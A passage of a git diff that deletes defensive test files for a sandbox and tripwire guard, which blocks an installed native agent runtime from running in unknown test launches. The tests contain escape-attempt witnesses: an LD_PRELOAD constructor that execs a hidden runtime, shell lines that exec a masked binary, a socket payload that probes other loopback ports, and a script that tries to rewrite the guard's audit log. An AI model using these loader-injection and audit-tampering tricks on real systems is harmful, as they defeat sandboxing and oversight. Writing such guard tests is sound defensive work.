}finally{if(mode.startsWith("managed-candidate-"))try{chmodSync(join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222"),0o700);}catch{}rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-sync-probe-diagnostics.test.ts b/tests/native-sync-probe-diagnostics.test.ts deleted file mode 100644 index 3b4498cc4c..0000000000 --- a/tests/native-sync-probe-diagnostics.test.ts +++ /dev/null @@ -1,44 +0,0 @@ -import { expect, test } from "bun:test"; -import { join } from "node:path"; -import { watchdogMs } from "../scripts/test-deadlines"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; - -for(const classification of ["non-native","unclassified"] as const)test(`separate-UID synchronous broker probe keeps stderr FIFO independent of the native tee: ${classification}`,async()=>{ - const root=join(import.meta.dir,".."),guard=join(root,"scripts/test-native-guard.ts"),entry=join(root,"packages/ui-sdk/src/server/worker-entry.ts"); - // Synthetic control server; the ready/status/close client is the production broker. - const server=`import os,sys,json,socket -cfg=json.loads(sys.argv[1]); listener=socket.socket(socket.AF_UNIX,socket.SOCK_SEQPACKET);listener.bind(cfg['socket']);listener.listen(4) -start=open('/proc/self/stat').read().rsplit(') ',1)[1].split()[19] -with open(cfg['ready']+'.tmp','w') as f: json.dump(dict(ok=True,workerUid=os.getuid()+1,worker=dict(pid=os.getpid(),start=start),roots={}),f) -os.replace(cfg['ready']+'.tmp',cfg['ready']) -while True: - peer,_=listener.accept();request=json.loads(peer.recv(65537));assert request['secret']==cfg['secret'] - peer.send(json.dumps(dict(ok=True,exited=True,code=0)).encode());peer.close() - if request['operation']=='close': break -listener.close();print('synthetic-probe-stderr',file=sys.stderr) -`; - const child=spawnGuardFixture([process.execPath,"-e",` - import {mock} from "bun:test"; - const guard={...await import(${JSON.stringify(guard)})};let tees=0; - mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const plan=guard.nativeWorkerBoundary(env);const launch=env.BRAIN_WORKER_LAUNCH&&JSON.parse(env.BRAIN_WORKER_LAUNCH);if(launch?.command?.[0]==="/usr/bin/true")return {...plan,native:true};${classification==="unclassified"?"const {native,...unknown}=plan;return unknown;":"return plan;"}},prepareNativeBootstrapDiagnostics(options){tees++;return guard.prepareNativeBootstrapDiagnostics(options);}})); - const {createWorkerPipes}=await import(${JSON.stringify(join(root,"packages/ui-sdk/src/server/worker-pipes.ts"))}); - const {prepareWorkerIdentity}=await import(${JSON.stringify(join(root,"packages/ui-sdk/src/server/worker-identity.ts"))}); - const {readFileSync,writeSync}=await import("node:fs"); - // Explicit synthetic classification keeps the native tee active in this process. - const native=createWorkerPipes(),streams=native.streams();streams.stdout.resume();streams.stderr.resume(); - const first=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:native.child[0],stdout:native.child[1],stderr:native.child[2]}); - native.closeChild();streams.stdin.end(); - const p=createWorkerPipes(),broker=prepareWorkerIdentity("/usr/bin/true",[],[]),config=JSON.parse(broker.command[5]); - const command=["/usr/bin/python3","-I","-S","-u","-c",${JSON.stringify(server)},JSON.stringify(config)]; - const supervisor=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv:command})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); - // Same blocking branch as probeWorkerHost: do not await supervisor.exited. - broker.ready(supervisor.pid,Date.now()+${watchdogMs(1000)});broker.request("release");const status=broker.request("status");if(!status.exited)throw Error("synthetic broker did not exit");broker.close();writeSync(1,"BROKER_CLOSED\\n"); - p.closeChild();p.closeInput();const output=readFileSync(p.parent[1],"utf8"),errors=readFileSync(p.parent[2],"utf8");p.cleanup();await first.exited;native.cleanup(); - if(output!==""||!errors.includes("synthetic-probe-stderr"))throw Error("SYNC_PROBE_PROTOCOL_CORRUPTED"); - if(tees!==1)throw Error("ONLY_NATIVE_PLAN_RECEIVES_TEE");console.log("SYNC_PROBE_FIFO_COMPLETED"); - `],{env:{PATH:"/usr/bin:/bin"},timeout:watchdogMs(2000)}); - const [code,out,errors]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(out,"SYNC_BROKER_SEQUENCE_COMPLETED "+errors).toContain("BROKER_CLOSED"); - expect(code,"SYNC_PROBE_FIFO_COMPLETES_WITHOUT_EVENT_LOOP "+errors).toBe(0); - expect(out).toContain("SYNC_PROBE_FIFO_COMPLETED"); -},watchdogMs(10000)); diff --git a/tests/native-title-collector.test.ts b/tests/native-title-collector.test.ts deleted file mode 100644 index 5696a58d5b..0000000000 --- a/tests/native-title-collector.test.ts +++ /dev/null @@ -1,33 +0,0 @@ -/** Real loopback-to-Unix collector projection with the real socket broker. */ -import {expect,test} from "bun:test"; -import {mkdtempSync,rmSync,statSync} from "node:fs"; -import {join} from "node:path"; -import {prepareNativeTitleCollector,registerNativeTitleCollector} from "../scripts/native-title-collector"; -import {watchdogMs} from "../scripts/test-deadlines"; -for(const mode of ["exact","wrong-token","wrong-path","stale","foreign-scope","different-address","different-port"] as const)test(`title collector exact endpoint: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-title-endpoint-"),token=crypto.randomUUID(),scope={isLive:()=>true};let hits=0; - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch(request){hits++;return new Response(request.headers.get("authorization")==="Bearer "+token?"COLLECTOR_REACHED":"BAD_TOKEN");}}); - const env={CLAUDE_CODE_ENABLE_TELEMETRY:"1",OTEL_LOGS_EXPORTER:"otlp",OTEL_EXPORTER_OTLP_LOGS_ENDPOINT:`${server.url.origin}/v1/logs`,OTEL_EXPORTER_OTLP_LOGS_HEADERS:`Authorization=Bearer ${token}`},saved={...env}; - const release=registerNativeTitleCollector(env,scope);let prepared:ReturnType; - try{ - if(mode==="stale")release(); - const mask=process.umask(0o077);try{prepared=prepareNativeTitleCollector(env,mode==="foreign-scope"?{isLive:()=>true}:scope,root);}finally{process.umask(mask);} - if(prepared)expect(statSync(join(root,"title-entry.ts")).mode&0o777,"ENTRY_MODE_IS_INDEPENDENT_OF_PRIVATE_UMASK").toBe(0o444); - expect(env,"PRODUCT_OTLP_ENV_IS_UNCHANGED").toEqual(saved); - if(mode==="stale"||mode==="foreign-scope"){expect(prepared,"UNREGISTERED_COLLECTOR_GETS_NO_BROKER_ENDPOINT").toBeUndefined();return;} - expect(prepared).toBeDefined(); - if(mode==="wrong-token"||mode==="wrong-path"){ - const request=new Request(`http://127.0.0.1${mode==="wrong-path"?"/different":"/v1/logs"}`,{method:"POST",headers:{authorization:mode==="wrong-token"?"Bearer wrong":"Bearer "+token},body:"{}"}); - expect((await prepared!.handle(request)).status,"ONLY_AUTHENTICATED_LOGS_POST_REACHES_COLLECTOR").toBe(403);expect(hits).toBe(0);return; - } - const relay=Bun.serve({unix:join(root,"relay.sock"),fetch:()=>new Response("PROVIDER_CHANNEL")}); - try{ - const binary=join(root,"broker"),build=Bun.spawnSync(["cc","-O2","-std=c11","-Wall","-Wextra","-Werror",join(import.meta.dir,"../scripts/native-proof/native-connect.c"),"-o",binary],{stdout:"pipe",stderr:"pipe"});expect(build.exitCode,build.stderr.toString()).toBe(0); - const info=statSync(join(root,"relay.sock"),{bigint:true}),port=server.port!,targetPort=mode==="different-port"?(port===65535?port-1:port+1):port,host=mode==="different-address"?"127.0.0.2":"127.0.0.1"; - const payload=`import errno,socket,sys\ns=socket.socket()\ntry:\n s.connect((${JSON.stringify(host)},${targetPort}))\nexcept OSError as e:\n assert ${mode!=="exact"?"True":"False"} and e.errno==errno.EPERM,(e.errno,'EXACT_COLLECTOR_SOCKADDR_REQUIRED')\n print('EXACT_SOCKADDR_REFUSED')\n sys.exit(0)\nassert ${mode==="exact"?"True":"False"},'OTHER_LOOPBACK_ENDPOINT_BECAME_REACHABLE'\ns.sendall(b'POST /v1/logs HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nAuthorization: Bearer ${token}\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\n{}')\nout=b''\nwhile True:\n part=s.recv(4096)\n if not part:break\n out+=part\nassert b'COLLECTOR_REACHED' in out,out\nprint('EXACT_COLLECTOR_REACHED')`; - const command=prepared!.wrap([binary,"--head","a".repeat(40),"--socket",join(root,"relay.sock"),"--device",String(info.dev),"--inode",String(info.ino),"--allowed",join(root,"relay.sock"),...prepared!.args,"--","/usr/bin/python3","-I","-S","-c",payload]); - const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--bind","/","/","--dev-bind","/dev","/dev","--ro-bind",root,"/tmp/native-relay","--",...command],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(code,err+out).toBe(0);expect(out).toContain(mode==="exact"?"EXACT_COLLECTOR_REACHED":"EXACT_SOCKADDR_REFUSED");expect(hits).toBe(mode==="exact"?1:0); - }finally{relay.stop(true);} - }finally{prepared?.dispose();release();server.stop(true);rmSync(root,{recursive:true,force:true});} -},watchdogMs(30000)); diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts deleted file mode 100644 index b660064013..0000000000 --- a/tests/native-tripwire.test.ts +++ /dev/null @@ -1,313 +0,0 @@ -/** Keyless tripwire plans never execute an installed native runtime, even in mutations. */ -import {expect,test} from "bun:test"; -import {join,dirname} from "node:path"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -import {watchdogMs} from "../scripts/test-deadlines"; -const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); -for(const mode of ["loop","positional","eval","stdin","nested","nested-implicit"] as const)test(`unknown tripwire preserves ${mode} fixture behavior`,async()=>{ - const code=`import {nativeWorkerClassification} from ${JSON.stringify(guard)}; - const mode=${JSON.stringify(mode)},script=mode==="loop"?'i=0; while [ "$i" -lt 2 ]; do i=$((i+1)); done; printf Ithaca':mode==="positional"?'exec "$1" Ithaca':mode==="eval"?'eval "$1"':'IFS= read -r line; printf "%s" "$line"'; - const args=mode==="positional"?["odysseus-peer","/usr/bin/printf"]:mode==="eval"?["odysseus-peer","printf Ithaca"]:[]; - const command=mode.startsWith("nested")?[Bun.which("bwrap"),"--unshare-user","--bind","/","/",...(mode==="nested"?["--"]:[]),"/bin/sh","-c",'i=1; printf Ithaca']:["/bin/sh","-c",script,...args]; - if(nativeWorkerClassification(command)!=="unknown")throw Error("REAL_UNKNOWN_SHAPE_REQUIRED"); - const child=Bun.spawn(command,{stdin:"pipe",stdout:"pipe",stderr:"pipe"});if(mode==="stdin")child.stdin.write("Ithaca\\n");child.stdin.end(); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - if(exit!==0||out!=="Ithaca"||err)throw Error("UNKNOWN_FIXTURE_BEHAVIOR_CHANGED "+mode+" "+exit+" "+err);console.log("UNKNOWN_FIXTURE_BEHAVIOR_UNCHANGED");`; - const child=spawnGuardFixture([process.execPath,"-e",code]); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"UNKNOWN_FIXTURE_BEHAVIOR_UNCHANGED "+mode+" "+err).toBe(0);expect(out.trim()).toBe("UNKNOWN_FIXTURE_BEHAVIOR_UNCHANGED"); -}); - -test("unknown launch receives no receipt environment or descriptor",async()=>{ - const code=`import {captureNativeReceipts} from ${JSON.stringify(join(import.meta.dir,"../scripts/native-test-receipts.ts"))}; - import {writeFileSync,readFileSync,mkdtempSync,rmSync} from "node:fs"; - const root=mkdtempSync("/tmp/odysseus-tripwire-fds-"),file=root+"/probe.ts"; - const probe='import {readdirSync,readFileSync} from "node:fs";let receipts=0;for(const entry of readdirSync("/proc/self/fd")){try{if(readFileSync("/proc/self/fdinfo/"+entry,"utf8").includes("ino:")){}const p=require("node:fs").readlinkSync("/proc/self/fd/"+entry);if(p.includes("odysseus-native-receipts-"))receipts++;}catch{}}console.log(JSON.stringify({token:process.env.BRAIN_NATIVE_RECEIPT??null,receipts}));'; - writeFileSync(file,probe);const capture=captureNativeReceipts(); - try{const c=Bun.spawn(["/bin/sh","-c",'exec "$1" "$2"',"fixture",process.execPath,file],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([c.exited,new Response(c.stdout).text(),new Response(c.stderr).text()]);if(exit)throw Error(err);console.log(out);if(capture.read())throw Error("UNKNOWN_RECEIPT_WAS_WRITABLE");}finally{capture.dispose();rmSync(root,{recursive:true,force:true});}`; - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,err).toBe(0);expect(JSON.parse(out),"UNKNOWN_HAS_NO_RECEIPT_CAPABILITY").toEqual({token:null,receipts:0}); -}); - -// Remap discovery in an isolated guard instance to a harmless static ELF. Even -// removing every mask can only run this witness, never the installed runtime. -const fixtureDiscovery=`import * as fs from "node:fs";import {mock} from "bun:test";import {spawn,spawnSync} from "node:child_process"; - const root=fs.mkdtempSync("/tmp/odysseus-tripwire-runtime-"),target=root+"/selected",alias=root+"/alias"; - const built=Bun.spawnSync(["cc","-static","-Os","-x","c","-","-o",target],{stdin:Buffer.from('#include \\nint main(void){write(1,"UNMASKED_PAYLOAD_RAN\\\\n",21);return 0;}'),stdout:"pipe",stderr:"pipe"});if(built.exitCode)throw Error("HARMLESS_STATIC_WITNESS_REQUIRED");fs.symlinkSync(target,alias); - const {bundledClaudeBinary}=await import(${JSON.stringify(join(import.meta.dir,"../packages/core/src/providers/agents/claude-binary.ts"))});const installed=bundledClaudeBinary(),real=fs.realpathSync; - mock.module("node:fs",()=>({...fs,realpathSync:(path,...args)=>{const resolved=real(path,...args);return resolved===installed?target:resolved;}})); - const guard=await import(${JSON.stringify(guard+"?tripwire-witness")});`; - -// Node starts this metadata-only guard instance before any Bun preload can wrap -// its qualification probes. Its selected runtime is the harmless ELF above. -function isolatedWitness(code:string){return spawnGuardFixture([Bun.which("node")!,"-e",`const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(code)}],{env:process.env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`]);} - -for(const spelling of ["target","alias"] as const)test(`unknown computed ${spelling} hits a fixed tripwire before native code`,async()=>{ - const code=fixtureDiscovery+` - const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:${spelling}}; - const command=["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; - if(guard.nativeWorkerClassification(command,{env})!=="unknown")throw Error("COMPUTED_RUNTIME_MUST_BE_UNKNOWN"); - const masks=guard.nativeTripwireMaskPaths({env});if(!masks.includes(target)||!masks.includes(alias))throw Error("ALL_RUNTIME_SPELLINGS_MASKED"); - const p=guard.nativeUnknownBoundary(command,{env});let out="",err=""; - try{const c=spawn(p.argv[0],p.argv.slice(1),{env:p.env,stdio:["ignore","pipe","pipe"]});c.stdout.on("data",chunk=>out+=chunk);c.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>c.once("close",resolve));console.log(JSON.stringify({exit,out,err}));}finally{p.dispose();fs.rmSync(root,{recursive:true,force:true});} - guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"TRIPWIRE_NATIVE_ATTEMPT_FAILS_INVOCATION "+err).not.toBe(0); - expect(err,"TRIPWIRE_FIXED_REFUSAL_RECORDED").toContain('"reason":"installed native runtime blocked by tripwire"'); - expect(out,"TRIPWIRE_PREVENTS_PAYLOAD_EXECUTION").not.toContain("UNMASKED_PAYLOAD_RAN"); - expect(JSON.parse(out).exit).toBe(126); -}); - -test("unknown restriction unavailable refuses before returning a launch plan",async()=>{ - const unavailableDiscovery=fixtureDiscovery.replace("const guard=await import",'const rawSpawn=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0].endsWith("/bwrap")?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("namespace unavailable")}:rawSpawn(argv,options);const guard=await import'); - const code=unavailableDiscovery+` - const bin=root+"/bin";fs.mkdirSync(bin);fs.symlinkSync("/usr/bin/false",bin+"/bwrap");fs.symlinkSync(Bun.which("strace"),bin+"/strace"); - const which=Bun.which;Bun.which=(name,options)=>name==="bwrap"?bin+"/bwrap":which(name,options); - let p;try{p=guard.nativeUnknownBoundary(["/bin/sh","-c","x=Ithaca; printf %s \\\"$x\\\""],{env:{PATH:bin}});}catch{console.log("UNKNOWN_RESTRICTION_REFUSED_BEFORE_PLAN");}finally{p?.dispose();fs.rmSync(root,{recursive:true,force:true});} - if(p)throw Error("UNAVAILABLE_RESTRICTION_RETURNED_A_PLAN");`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit).not.toBe(0);expect(out,"UNAVAILABLE_UNKNOWN_NEVER_GETS_A_PLAN").toContain("UNKNOWN_RESTRICTION_REFUSED_BEFORE_PLAN");expect(err).toContain('"reason":"restriction cannot be enforced"'); -}); - -test("T7 a tripwire refusal is scoped to its launch in the same process",async()=>{ - const code=fixtureDiscovery+` - const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:alias}; - async function run(plan){let out="";try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));return {exit,out};}finally{plan.dispose();}} - try{ - const refused=await run(guard.nativeUnknownBoundary(["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"'],{env})); - if(refused.exit!==126)throw Error("FIRST_LAUNCH_MUST_HIT_TRIPWIRE"); - const independent=await run(guard.nativeUnknownBoundary(["/bin/sh","-c",'i=0; while [ "$i" -lt 2 ]; do i=$((i+1)); done; printf Ithaca'],{env})); - if(independent.exit!==0||independent.out!=="Ithaca")throw Error("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); - console.log("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); - }finally{fs.rmSync(root,{recursive:true,force:true});} - guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"THE_REFUSED_ATTEMPT_STILL_FAILS_ITS_TEST").not.toBe(0); - expect(err).toContain('"reason":"installed native runtime blocked by tripwire"'); - expect(out,"REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH").toContain("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); -}); - -for(const shape of ["fork","status"] as const)for(const changed of [false,true])test(`nested manager exec chain ${shape} ${changed?"unproven refuses":"masks the runtime before execution"}`,async()=>{ - const code=fixtureDiscovery+` - const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:alias}; - const inner=[Bun.which("bwrap"),"--unshare-user","--bind","/","/","--","/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; - const {createWorkerStatusPipe}=await import(${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-status.ts"))}); - const status=createWorkerStatusPipe(),shape=${JSON.stringify(shape)}; - const command=shape==="fork"?["/usr/bin/python3","-I","-S","-c",guard.NATIVE_FIXTURE_FORK_EXEC+${JSON.stringify(changed?"\n# modified":"")},...inner]:["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"'+${JSON.stringify(changed?" # modified":"")},"worker-status-fixture",status.source,...inner]; - let plan; - try{ - plan=guard.nativeUnknownBoundary(command,{env}); - if(${changed})throw Error("UNPROVEN_SUPERVISOR_MUST_REFUSE_BEFORE_LAUNCH"); - const start=plan.argv.indexOf(command[0]);if(start<0||!command.slice(0,shape==="fork"?4:5).every((value,index)=>plan.argv[start+index]===value)||plan.argv[start+5]!==inner[0]||plan.argv.filter(value=>value===inner[0]).length!==1)throw Error("NESTED_MASK_MUST_USE_THE_EXISTING_NAMESPACE"); - if(shape==="fork"&&(!plan.argv[start+4].includes("/fork-owner")||!plan.argv[start+4].endsWith("os.execvp(sys.argv[1],sys.argv[1:])")))throw Error("OWNED_FORK_REGISTRATION_PRECEDES_THE_SAME_EXEC"); - let out="",err="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err})); - }finally{plan?.dispose();status.close();fs.rmSync(root,{recursive:true,force:true});} - guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"NESTED_NATIVE_ATTEMPT_CANNOT_PASS").not.toBe(0); - expect(err,changed?"UNPROVEN_NESTED_CHAIN_REFUSES":"NESTED_RUNTIME_HITS_TRIPWIRE").toContain('"reason":"'+(changed?"restriction cannot be enforced":"installed native runtime blocked by tripwire")+'"'); - expect(out,"NESTED_RUNTIME_NEVER_EXECUTES").not.toContain("UNMASKED_PAYLOAD_RAN"); - if(!changed){expect(JSON.parse(out).exit,"SUPERVISOR_PARENT_EXIT_IS_UNCHANGED").toBe(shape==="fork"?0:126);expect(JSON.parse(out).err).toContain("Offline native runtime refused by tripwire");} -}); - -test("unknown launches retain exactly the host dev entries and device flags",async()=>{ - const code=`import {spawnSync} from "node:child_process";import {mkdtempSync,writeFileSync,rmSync} from "node:fs"; - const root=mkdtempSync("/tmp/odysseus-tripwire-dev-"),probe=root+"/view.py"; - writeFileSync(probe,'import os,json,stat\\nrows=[]\\nfor name in sorted(os.listdir("/dev")):\\n s=os.lstat("/dev/"+name)\\n rows.append([name,s.st_mode,s.st_dev,s.st_ino,s.st_rdev])\\nv=os.statvfs("/dev")\\nprint(json.dumps({"entries":rows,"ro":bool(v.f_flag&os.ST_RDONLY),"nodev":bool(v.f_flag&os.ST_NODEV),"nosuid":bool(v.f_flag&os.ST_NOSUID)}))\\n'); - const expected=spawnSync("/usr/bin/python3",["-I","-S",probe],{encoding:"utf8"});if(expected.status)throw Error(expected.stderr); - try{const c=Bun.spawn(["/bin/sh","-c",'i=1; exec "$1" -I -S "$2"',"odysseus-dev","/usr/bin/python3",probe],{stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([c.exited,new Response(c.stdout).text(),new Response(c.stderr).text()]);if(exit)throw Error(err);if(out!==expected.stdout)throw Error("UNKNOWN_DEV_VIEW_EQUALS_MAIN");console.log("UNKNOWN_DEV_VIEW_EQUALS_MAIN");}finally{rmSync(root,{recursive:true,force:true});}`; - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"UNKNOWN_DEV_VIEW_EQUALS_MAIN "+err).toBe(0);expect(out).toContain("UNKNOWN_DEV_VIEW_EQUALS_MAIN"); -}); - -test("fixture TMPDIR cleanup cannot revoke a completed launch's guard evidence",async()=>{ - const code=`import {installNetworkGuard} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))};import {mkdtempSync,rmSync} from "node:fs"; - const guard=installNetworkGuard(),root=mkdtempSync("/tmp/odysseus-tripwire-fixture-tmp-"),previous=process.env.TMPDIR;process.env.TMPDIR=root; - try{const child=Bun.spawn(["/bin/sh","-c",'i=1; printf Ithaca'],{stdout:"pipe",stderr:"pipe"});const [exit,out]=await Promise.all([child.exited,new Response(child.stdout).text()]);if(exit||out!=="Ithaca")throw Error("FIRST_HARMLESS_LAUNCH_REQUIRED");}finally{if(previous===undefined)delete process.env.TMPDIR;else process.env.TMPDIR=previous;rmSync(root,{recursive:true,force:true});} - await Bun.sleep(50);guard.assertNoEscapes();console.log("FIXTURE_CLEANUP_DOES_NOT_REVOKE_GUARD_EVIDENCE");`; - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"FIXTURE_CLEANUP_DOES_NOT_REVOKE_GUARD_EVIDENCE "+err).toBe(0);expect(out).toContain("FIXTURE_CLEANUP_DOES_NOT_REVOKE_GUARD_EVIDENCE"); -}); - -test("an incomplete cancelled exec audit does not refuse an unknown launch",async()=>{ - const code=fixtureDiscovery+` - const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); - let out="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve)); - if(exit||out!=="Ithaca")throw Error("HARMLESS_LAUNCH_REQUIRED"); - const log=plan.argv.find(path=>path.endsWith("/exec.log"));fs.writeFileSync(log,'1 execve("/usr/bin/printf", \\n');plan.dispose();guard.assertNoNativeRefusals();fs.rmSync(root,{recursive:true,force:true});console.log("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY");`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY "+err).toBe(0);expect(out).toContain("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY"); - expect(err,"UNKNOWN_AUDIT_UNAVAILABLE_IS_RECORDED").toContain('"kind":"native-offline-unknown-exec-audit"');expect(err).not.toContain('"kind":"native-offline-boundary"'); -}); - -test("a loader override cannot execute a runtime before tripwire mounting",async()=>{ - const code=fixtureDiscovery+` - const library=root+"/loader.so"; - const source='#include \\n#include \\n__attribute__((constructor))static void start(void){char *p=getenv("ODYSSEUS_RUNTIME");char *args[]={p,0};if(p)execv(p,args);_exit(97);}'; - const compiled=Bun.spawnSync(["cc","-shared","-fPIC","-x","c","-","-o",library],{stdin:Buffer.from(source),stdout:"pipe",stderr:"pipe"});if(compiled.exitCode)throw Error("KEYLESS_LOADER_WITNESS_REQUIRED"); - let plan;try{ - plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:{...process.env,LD_PRELOAD:library,ODYSSEUS_RUNTIME:target,CLAUDE_CODE_PATH:alias}}); - let out="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);await new Promise(resolve=>child.once("close",resolve));console.log(out); - }finally{plan?.dispose();fs.rmSync(root,{recursive:true,force:true});} - guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(out,"NO_NATIVE_CODE_BEFORE_MOUNTING").not.toContain("UNMASKED_PAYLOAD_RAN");expect(exit,"UNPROVEN_LOADER_REFUSED_BEFORE_ANY_EXEC").not.toBe(0);expect(err).toContain('"reason":"restriction cannot be enforced"'); -}); - -for(const attempt of [false,true])test(`missing diagnostic tracer ${attempt?"still blocks the runtime":"preserves the harmless launch"}`,async()=>{ - const discovery=fixtureDiscovery.replace("const guard=await import",'const which=Bun.which;Bun.which=(name,options)=>name==="strace"?null:which(name,options);const guard=await import'); - const code=discovery+` - const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:target},command=["/bin/sh","-c",${JSON.stringify(attempt?'exec "$ODYSSEUS_RUNTIME"':'i=1; printf Ithaca')}]; - const plan=guard.nativeUnknownBoundary(command,{env});let out="";try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out}));}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(err,"MISSING_TRACE_IS_DIAGNOSTIC_ONLY").toContain('"kind":"native-offline-unknown-exec-audit"');expect(out).not.toContain("UNMASKED_PAYLOAD_RAN"); - if(attempt){expect(exit,"MASK_ENFORCEMENT_DOES_NOT_DEPEND_ON_STRACE").not.toBe(0);expect(JSON.parse(out).exit).toBe(126);expect(err).toContain('"reason":"installed native runtime blocked by tripwire"');} - else{expect(exit,"HARMLESS_LAUNCH_DOES_NOT_REQUIRE_DIAGNOSTIC_TRACER "+err).toBe(0);expect(JSON.parse(out)).toEqual({exit:0,out:"Ithaca"});} -}); - -test("the unknown payload cannot rewrite the guard-side exec audit",async()=>{ - const code=fixtureDiscovery+` - const script='import os,sys,errno\\ntry: open(os.environ["ODYSSEUS_AUDIT_LOG"],"w").close()\\nexcept OSError as error:\\n assert error.errno==errno.EROFS\\n print("UNKNOWN_AUDIT_LOG_IS_GUARD_ONLY")\\n sys.exit(0)\\nraise AssertionError("UNKNOWN_PAYLOAD_REWROTE_EXEC_AUDIT")'; - const command=["/bin/sh","-c",'exec "$@"',"fixture","/usr/bin/python3","-I","-S","-c",script],plan=guard.nativeUnknownBoundary(command,{env:process.env}); - plan.env.ODYSSEUS_AUDIT_LOG=plan.argv.find(path=>path.endsWith("/exec.log"));plan.beforeLaunch();let out="",err=""; - try{const 